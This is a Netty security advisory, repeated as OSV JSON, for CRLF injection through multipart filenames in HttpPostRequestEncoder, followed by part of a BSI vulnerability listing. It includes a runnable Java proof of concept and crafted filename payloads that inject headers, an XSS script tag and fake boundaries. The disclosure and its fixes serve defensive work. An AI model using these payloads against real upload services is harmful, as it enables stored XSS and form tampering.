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GHSA-GCJF-9MGH-3P7G

Vulnerability from github – Published: 2026-07-22 21:52 – Updated: 2026-07-22 21:52

Summary

Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

Details

Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

1. Vulnerability Summary

Field	Value
Product	Netty
Version	4.2.12.Final (and all prior versions with codec-http multipart)
Component	`io.netty.handler.codec.http.multipart.HttpPostRequestEncoder`
Vulnerability Type	CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting
Impact	MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition
CVSS 3.1 Score	8.1 (High)
CVSS 3.1 Vector	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`
Attack Vector	Network
Attack Complexity	Low
Privileges Required	Low (attacker must be able to upload files with controlled filenames)
User Interaction	None
Scope	Unchanged
Confidentiality Impact	High
Integrity Impact	High
Availability Impact	None

2. Affected Components

The following classes in the codec-http module are affected:

io.netty.handler.codec.http.multipart.HttpPostRequestEncoder — directly concatenates unvalidated filename/name into Content-Disposition MIME headers (lines 519, 633, 674, 682, 686-688)
io.netty.handler.codec.http.multipart.DiskFileUpload — setFilename() only checks null (line 78)
io.netty.handler.codec.http.multipart.MemoryFileUpload — setFilename() only checks null (line 60)
io.netty.handler.codec.http.multipart.MixedFileUpload — setFilename() delegates without validation (line 62)

3. Vulnerability Description

Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.

Root Cause

In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:

// Line 674 (attachment mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
    + HttpHeaderValues.ATTACHMENT + "; "
    + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Lines 686-688 (form-data mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
    + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
    + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Line 519 (attribute name):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
    + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION

The setFilename() method in all FileUpload implementations only checks for null:

// DiskFileUpload.java:77-79
public void setFilename(String filename) {
    this.filename = ObjectUtil.checkNotNull(filename, "filename");
    // NO CRLF VALIDATION
}

Comparison with Similar Fixed CVEs

This vulnerability follows the same pattern as:

CVE	Component	Fix
GHSA-jq43-27x9-3v86	SmtpRequestEncoder — SMTP command injection	Added CRLF validation in `SmtpUtils.validateSMTPParameters()`
GHSA-84h7-rjj3-6jx4	HttpRequestEncoder — CRLF in URI	Added `HttpUtil.validateRequestLineTokens()`

The multipart encoder has no equivalent validation for filenames or field names.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests
The filename of an uploaded file is derived from user-controlled input
The application does not perform its own CRLF sanitization on filenames

Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames

5. Attack Scenarios

Scenario 1: Content-Type Override via Filename Injection

An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:

String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";

DiskFileUpload upload = new DiskFileUpload(
    "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);

Wire format:

--boundary
content-disposition: form-data; name="avatar"; filename="photo.jpg"
Content-Type: text/html                    <-- INJECTED: overrides image/jpeg

<script>alert(document.cookie)</script>    <-- INJECTED: XSS payload
--"
content-type: image/jpeg                   <-- Original (now ignored by many parsers)
...

If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.

Scenario 2: Arbitrary MIME Header Injection

String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";

Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.

Scenario 3: Multipart Boundary Confusion

String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";

By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server

6. Proof of Concept

Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.*;

import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;

/**
 * PoC: HTTP Multipart Content-Disposition Header Injection via Filename
 *
 * Demonstrates that HttpPostRequestEncoder does not validate filenames
 * for CRLF characters, allowing injection of arbitrary MIME headers
 * into multipart form data.
 */
public class MultipartFilenameInjectionPoC {

    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");

        testFilenameInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    static void testFilenameInjection() throws Exception {
        System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
        System.out.println("-------------------------------------------------------");

        // Create a temporary file for upload
        File tempFile = File.createTempFile("test", ".txt");
        tempFile.deleteOnExit();
        try (FileWriter fw = new FileWriter(tempFile)) {
            fw.write("test content");
        }

        // Malicious filename with CRLF to inject Content-Type header
        String maliciousFilename =
            "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
            "<script>alert(1)</script>\r\n--";

        HttpRequest request = new DefaultHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");

        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
                new DefaultHttpDataFactory(false), request, true,
                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);

        DiskFileUpload fileUpload = new DiskFileUpload(
                "file", maliciousFilename, "application/octet-stream",
                "binary", StandardCharsets.UTF_8, tempFile.length());
        fileUpload.setContent(tempFile);

        encoder.addBodyHttpData(fileUpload);
        encoder.finalizeRequest();

        // Read the encoded multipart body
        StringBuilder body = new StringBuilder();
        while (!encoder.isEndOfInput()) {
            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
            if (chunk != null) {
                body.append(chunk.content().toString(StandardCharsets.UTF_8));
                chunk.release();
            }
        }
        encoder.cleanFiles();

        String encoded = body.toString();
        System.out.println("Malicious filename: " +
            maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
        System.out.println();
        System.out.println("Encoded multipart body:");
        System.out.println("---");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("---");

        boolean hasInjectedHeader = encoded.contains("X-Injected: true");
        boolean hasInjectedScript = encoded.contains("<script>");
        System.out.println();
        System.out.println("Injected X-Injected header: " + hasInjectedHeader);
        System.out.println("Injected script tag: " + hasInjectedScript);
        System.out.println("VULNERABLE: " +
            ((hasInjectedHeader || hasInjectedScript) ?
                "YES - MIME header injection!" : "NO"));

        tempFile.delete();
    }
}

How to Compile and Run

# Build Netty (skip tests)
./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
  -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" MultipartFilenameInjectionPoC.java
java -cp "$JARS:." MultipartFilenameInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Multipart Filename CRLF Injection PoC ===

[TEST 1] Filename CRLF Injection in Content-Disposition
-------------------------------------------------------
Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--

Encoded multipart body:
---
  --88aaade41dbb9f9f\r
  content-disposition: form-data; name="file"; filename="innocent.txt"\r
  Content-Type: text/html\r                          <-- INJECTED
  X-Injected: true\r                                 <-- INJECTED
  \r
  <script>alert(1)</script>\r                        <-- INJECTED XSS
  --"\r
  content-length: 12\r
  content-type: application/octet-stream\r
  content-transfer-encoding: binary\r
  \r
  test content\r
  --88aaade41dbb9f9f--\r
---

Injected X-Injected header: true
Injected script tag: true
VULNERABLE: YES - MIME header injection!


=== PoC Complete ===

7. Impact Analysis

Impact Category	Description
Confidentiality	HIGH — Injected headers may bypass access controls or leak tokens
Integrity	HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation
Content-Type Spoofing	Override `application/octet-stream` to `text/html` to serve executable content
Stored XSS	Inject `<script>` tags via Content-Type override when uploaded files are served back
Form Field Override	Inject new multipart boundaries to create/override form fields
Downstream Injection	Custom MIME headers may affect middleware, CDN, or storage layer behavior

8. Remediation Recommendations

Option 1: Validate in FileUpload.setFilename() (Recommended)

// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
public void setFilename(String filename) {
    ObjectUtil.checkNotNull(filename, "filename");
    for (int i = 0; i < filename.length(); i++) {
        char c = filename.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "filename contains prohibited CRLF character at index " + i);
        }
    }
    this.filename = filename;
}

Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)

Escape or reject CRLF characters when building Content-Disposition headers:

// HttpPostRequestEncoder.java - add helper method
private static String sanitizeHeaderParam(String value) {
    for (int i = 0; i < value.length(); i++) {
        char c = value.charAt(i);
        if (c == '\r' || c == '\n' || c == '"') {
            throw new ErrorDataEncoderException(
                "Multipart parameter contains prohibited character at index " + i);
        }
    }
    return value;
}

// Then use in Content-Disposition construction:
internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");

Option 3: RFC 2231/5987 Encoding for Filenames

Use proper RFC 2231 encoding for filenames with special characters:

// Encode filename per RFC 5987:
// filename*=UTF-8''encoded%20filename
String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
internal.addValue(... + "filename*=" + encodedFilename + "\r\n");

9. References

Severity

5.7 (Medium)


                  
                    CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:52:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` \u2014 directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` \u2014 `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` \u2014 `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` \u2014 `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n    + HttpHeaderValues.ATTACHMENT + \"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n    this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n    // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder \u2014 SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder \u2014 CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty\u0027s `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n    \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html                    \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e    \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg                   \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n        testFilenameInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    static void testFilenameInjection() throws Exception {\n        System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n        System.out.println(\"-------------------------------------------------------\");\n\n        // Create a temporary file for upload\n        File tempFile = File.createTempFile(\"test\", \".txt\");\n        tempFile.deleteOnExit();\n        try (FileWriter fw = new FileWriter(tempFile)) {\n            fw.write(\"test content\");\n        }\n\n        // Malicious filename with CRLF to inject Content-Type header\n        String maliciousFilename =\n            \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n            \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n        HttpRequest request = new DefaultHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n                new DefaultHttpDataFactory(false), request, true,\n                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n        DiskFileUpload fileUpload = new DiskFileUpload(\n                \"file\", maliciousFilename, \"application/octet-stream\",\n                \"binary\", StandardCharsets.UTF_8, tempFile.length());\n        fileUpload.setContent(tempFile);\n\n        encoder.addBodyHttpData(fileUpload);\n        encoder.finalizeRequest();\n\n        // Read the encoded multipart body\n        StringBuilder body = new StringBuilder();\n        while (!encoder.isEndOfInput()) {\n            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n            if (chunk != null) {\n                body.append(chunk.content().toString(StandardCharsets.UTF_8));\n                chunk.release();\n            }\n        }\n        encoder.cleanFiles();\n\n        String encoded = body.toString();\n        System.out.println(\"Malicious filename: \" +\n            maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n        System.out.println();\n        System.out.println(\"Encoded multipart body:\");\n        System.out.println(\"---\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"---\");\n\n        boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n        boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n        System.out.println();\n        System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n        System.out.println(\"Injected script tag: \" + hasInjectedScript);\n        System.out.println(\"VULNERABLE: \" +\n            ((hasInjectedHeader || hasInjectedScript) ?\n                \"YES - MIME header injection!\" : \"NO\"));\n\n        tempFile.delete();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n  -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n  --88aaade41dbb9f9f\\r\n  content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n  Content-Type: text/html\\r                          \u003c-- INJECTED\n  X-Injected: true\\r                                 \u003c-- INJECTED\n  \\r\n  \u003cscript\u003ealert(1)\u003c/script\u003e\\r                        \u003c-- INJECTED XSS\n  --\"\\r\n  content-length: 12\\r\n  content-type: application/octet-stream\\r\n  content-transfer-encoding: binary\\r\n  \\r\n  test content\\r\n  --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH \u2014 Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH \u2014 Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n    ObjectUtil.checkNotNull(filename, \"filename\");\n    for (int i = 0; i \u003c filename.length(); i++) {\n        char c = filename.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n            throw new IllegalArgumentException(\n                \"filename contains prohibited CRLF character at index \" + i);\n        }\n    }\n    this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027\"\u0027) {\n            throw new ErrorDataEncoderException(\n                \"Multipart parameter contains prohibited character at index \" + i);\n        }\n    }\n    return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8\u0027\u0027encoded%20filename\nString encodedFilename = \"UTF-8\u0027\u0027\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
  "id": "GHSA-gcjf-9mgh-3p7g",
  "modified": "2026-07-22T21:52:55Z",
  "published": "2026-07-22T21:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
}

WID-SEC-W-2026-2356

Vulnerability from csaf_certbund - Published: 2026-07-14 22:00 - Updated: 2026-07-21 22:00

Summary

Netty: Mehrere Schwachstellen

Severity

Hoch

Notes

Das BSI ist als Anbieter für die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch dafür verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgfältig im Einzelfall zu prüfen.

Produktbeschreibung: Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework für die schnelle Entwicklung von wartbaren, hochleistungsfähigen Protokollservern und -clients.

Angriff: Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsprüfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatsprüfungen zu unterlaufen sowie einen Denial of Service zu verursachen.

Betroffene Betriebssysteme: - Linux - UNIX

CVE-2026-44891

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-55831

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-55833

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-55851

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-56745

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-56816

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-56817

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-56819

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-56820

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-56821

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-56822

Affected products

Known affected 2 products
